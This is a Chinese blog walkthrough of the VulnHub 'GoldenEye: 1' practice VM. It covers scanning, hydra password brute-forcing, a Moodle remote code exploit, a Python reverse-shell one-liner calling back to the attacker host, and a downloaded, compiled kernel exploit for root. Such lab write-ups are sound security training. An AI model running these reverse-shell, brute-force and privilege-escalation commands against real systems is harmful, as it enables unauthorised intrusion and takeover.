『VulnHub系列』GoldenEye: 1-Walkthrough

『VulnHub系列』GoldenEye: 1-Walkthrough

靶机地址
难度:中等
靶机发布日期:2018年5月4日

在这里插入图片描述
靶机描述:I recently got done creating an OSCP type vulnerable machine that’s themed after the great James Bond film (and even better n64 game) GoldenEye. The goal is to get root and capture the secret GoldenEye codes - flag.txt.

I’d rate it as Intermediate, it has a good variety of techniques needed to get root - no exploit development/buffer overflows. After completing the OSCP I think this would be a great one to practice on, plus there’s a hint of CTF flavor.

I’ve created and validated on VMware and VirtualBox. You won’t need any extra tools other than what’s on Kali by default. Will need to be setup as Host-Only, and on VMware you may need to click “retry” if prompted, upon initially starting it up because of formatting.

博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]

工具、知识点和漏洞

  • nmap
  • dirb
  • gobuster
  • searchsploit
  • metaspaloit

存疑、待解决

  • 为什么利用MSF提供的exploit/multi/http/moodle_cmd_exec无法反弹shell

0x00、信息收集

靶机IP:192.168.0.107

nmap -sP 192.168.0.0/24

在这里插入图片描述
端口和服务

nmap -sS -sV -T5 -A -p- 192.168.0.107

在这里插入图片描述
页面、目录枚举

dirb http://192.168.0.107 -X .php,.txt,.zip,.html

在这里插入图片描述

gobuster dir -u http://192.168.0.107 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -x .php,.txt,.html,.zip
  • /index.html
  • /server-status

http://192.168.0.107/

在这里插入图片描述
http://192.168.0.107/sev-home/

在这里插入图片描述
到了这里就没信息了?看了一下首页的源代码,发现有个terminal.js的脚本,尝试着访问一下

在这里插入图片描述
http://192.168.0.107/terminal.js

在这里插入图片描述
使用burpsuite的Decoder模块解码(HTML)

在这里插入图片描述
最初使用Boris:InvincibleHack3r尝试登录/sev-home,结果没能登录成功,随后把用户名改成了boris,密码还是用InvincibleHack3r,登录成功了。

在这里插入图片描述
在这里插入图片描述
这是截止目前为止获得的唯一线索了,所以接下来肯定是跟邮件有关系了

之前nmap扫描的时候还有两个端口:55006、55007,上面说pop3服务运行在一个非常“高”的非默认端口,那么这两个端口就有可能是有一个是跑着pop3服务的,浏览器上访问发现是55007

在这里插入图片描述
或者用nmap识别一下

在这里插入图片描述
Please email a qualified GNO supervisor to receive the online GoldenEye Operators Training to become an Administrator of the GoldenEye system

从源代码中我们可以知道Natalya Boris就是GNO的主管:Qualified GoldenEye Network Operator Supervisors: Natalya Boris

接下来用hydra爆破一下邮箱密码,用户名用natalyaboris,所以需要新建一个包含这两个用户名的文本文件gedit user.txt或者用echo -e 'natalya\nboris' > user.txt

echo -e 'natalya\nboris' > user.txt
hydra -L user.txt -P /usr/share/wordlists/fasttrack.txt 192.168.0.107 -s 55007 pop3

如果你用echo将两个用户名写入到user.txt文件中,是不需要先执行gedit user.txt的。

在这里插入图片描述
在这里插入图片描述

得到了两对用户名密码

  • boris:secret1!
  • natalya:bird

nc登录邮箱

关于pop3命令操作,可以参考POP3 指令简介篇

在这里插入图片描述
在这里插入图片描述
换另一个账号登录,得到用户名密码xenia:RCP90rulez!

在这里插入图片描述
根据邮件中的提示修改kali的/etc/hosts文件,然后使用前面获得的用户名和密码登录http://severnaya-station.com/gnocertdir/

在这里插入图片描述
在这里插入图片描述
Wappalyzer识别出这是一个开源的CMS系统:Moodle。因为是第一次接触这个CMS,于是就四处点了点,结果发现了一封邮件,从内容来看,是一个叫doak的用户发的,使用hydra爆破得到doak用户的密码为goat

在修改个人设置的地方还可以上传图片

在这里插入图片描述
nc登录邮箱之后得到另一组用户名密码dr_doak:4England!

在这里插入图片描述
使用新的账户密码登录CMS,在私人文件处发现了一个s3cret.txt文件

在这里插入图片描述
得到了一个线索:admin(adm1n)用户的密码可能在/dir007key/for-007.jpg里面

在这里插入图片描述
看到这里了,请再给我一丢丢耐心继续看下去~

下载图片,进行一波隐写分析~

在这里插入图片描述
base64解码,得到xWinter1995x!,看起来像是个密码

在这里插入图片描述

点着点着忽然发现了浏览器标签上有个2.2.3,这会不会是Moodle的版本号?

在这里插入图片描述
Google搜索后发现有RCE漏洞,而且可以用MSF

在这里插入图片描述

0x01、getshell

祭出MSF

在这里插入图片描述
设置好参数之后,心想着getshell了吧,结果MMP,没有反弹shell

use exploit/multi/http/moodle_cmd_exec
set rhost severnaya-station.com
set targeturi /gnocertdir
set username admin
set password xWinter1995x!
run

在这里插入图片描述
看了一下老外写的Walkthrough,发现他是到exploit-db上搜了一下,找到了MSF中exp的源码,源码中提示需要修改Moodle中的Spell engine

在这里插入图片描述
admin用户登录Moodle,修改Spell enginePSellShell

在这里插入图片描述
满心欢喜的以为run之后就能getshell了,结果还是不行~

在这里插入图片描述
本来想改改MSF用的exploit,无奈有点菜~

后来在网上搜到说可以用另外一种反弹shell的方式,步骤如下:

第一步:在Home / ► Site administration / ► Server / ► System paths中添加反弹shell的代码

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.108",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

在这里插入图片描述
第二步:在 Home / ► Site administration / ► Plugins / ► Text editors / ► TinyMCE HTML editor中将Spell engine改为PSpellShell

第三步:在kali上监听端口

nc -lnvp 1234

第四步:在Home / ► My profile / ► Blogs / ► Add a new entry随便填点东西,然后点击下图中红框的Toggle spellchecker,之后就获得shell了

在这里插入图片描述
获取shell之后要做的第一件事是使用Python获取一个tty,不然有些命令是无法执行的,这一步很关键。

python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述
如果你想使用clear清屏,那么只需要给TERM这个环境变量赋值screen即可

export TERM=screen

0x02、提权

关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.pyLinEnum.sh.

如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux

先在kali上开启HTTP服务

python -m SimpleHTTPServer 65534

使用wget下载linuxprivchecker.py脚本到靶机的tmp目录

因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的

cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py

为了便于查看收集到的信息,我将结果输出到report.txt文本中,之后使用less查看

python linuxprivchecker.py > report.txt
less report.txt

靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。

进入之后先找一下flag,常规思路就是当前用户的目录和/home目录里面“扫荡”一下

在这里插入图片描述
在这里插入图片描述
查看/etc/passwd发现有四个用户,但三个新建的用户都是无法登录系统的:/usr/sbin/nologin

  • root
  • boris
  • natalya
  • doak

还发现使用了PostgreSQL,对应的用户是postgres,而且他可以登录系统

查看了几个用户的home目录,发什么发现

SUID权限可执行文件,发现有个/usr/bin/mtr,但是不知道能不能利用

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述
当前用户可写文件,发现一堆,但是极大多数都是没用的(不过我把/var下的文件也给过滤了,里面应该有数据库连接的密码),所以我先把结果输出到文本文件,然后使用grep加上关键字去筛选。

find / -writable -type f 2>/dev/null >/tmp/report.txt
grep -Ev '/proc|/sys|/var' /tmp/report.txt

在这里插入图片描述
john爆破一下,得到ops的密码是123,登录/sev-home之后没发现什么有用的东西

其实boris的密码我们之前就已经知道了,就是登录/sev-home时使用的boris:InvincibleHack3r

echo 'boris:$apr1$vg2drJim$wUDKP9TLw5jq4GS5jq2240\nops:$apr1$mVvEblRU$oHDbEs4QP2YTUG25Z1PoP' > hash.txt
john hash.txt
john --show hash.txt

由于前面查找可写文件的时候把/var给过滤了,里面的有些东西我们没有看,比如数据库连接的配置文件

在这里插入图片描述
你能明白在反弹的shell里面一不小心按了Ctrl+C,心有多痛吗?所有我决定祭出MSF,使用它接收反弹的shell,然后升级成的meterpreter x86/linux的shell

msfconsole
use exploit/multi/handler
set payload cmd/unix/reverse_python
show options
set lhost 192.168.0.108
set lport 1234
run
background
sessions -l
sessions -u 2 # 需要升级的session的id
sessions 3 # 升级之后,切换到3

在这里插入图片描述
这里主要是为了防止一不小心按了Ctrl+C之后,TMD需要重新反弹shell,演示如下图所示,它不香吗?

在这里插入图片描述
查看计划任务,无果

cat /etc/crontab

查找sudo权限命令,需要输入密码

sudo -l

内核提权走一波(内心是极不情愿用内核提权的~,还不是因为菜)

在这里插入图片描述
在这里插入图片描述
跑了一下提权时收集信息的脚本,发现有一个/usr/bin/cc

/usr/bin/cc是来自Unix的C语言编译器,其实它只是一个软链接,最终的实体文件是/usr/bin/clang

在这里插入图片描述
由于靶机没有安装gcc,所以我们可以用/usr/bin/cc编译exp

把下图红框部分的gcc改成cc

cd /var/www/html
cp /usr/share/exploitdb/exploits/linux/local/37292.c .
gedit 37292.c

在这里插入图片描述
kali开启Apache2服务,将修改好的文件用wget下载到靶机上,用cc编译,赋予可执行权限后,运行exp

service apache2 start
wget http://192.168.0.108/37292.c
cc -o exp 37292.c
chmod +x exp
./exp

在这里插入图片描述
一波"耻辱"内核提权拿下root权限,如果你知道其他的提权方法,请一定告诉我

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。更多VulnHub靶机的Walkthrough,请访问本人博客(https://blog.csdn.net/weixin_44214107)。欢迎扫描下方个人微信二维码与我交流。我是ins1ght.

在这里插入图片描述

发布了41 篇原创文章 · 获赞 14 · 访问量 7912

猜你喜欢

转载自blog.csdn.net/weixin_44214107/article/details/103056860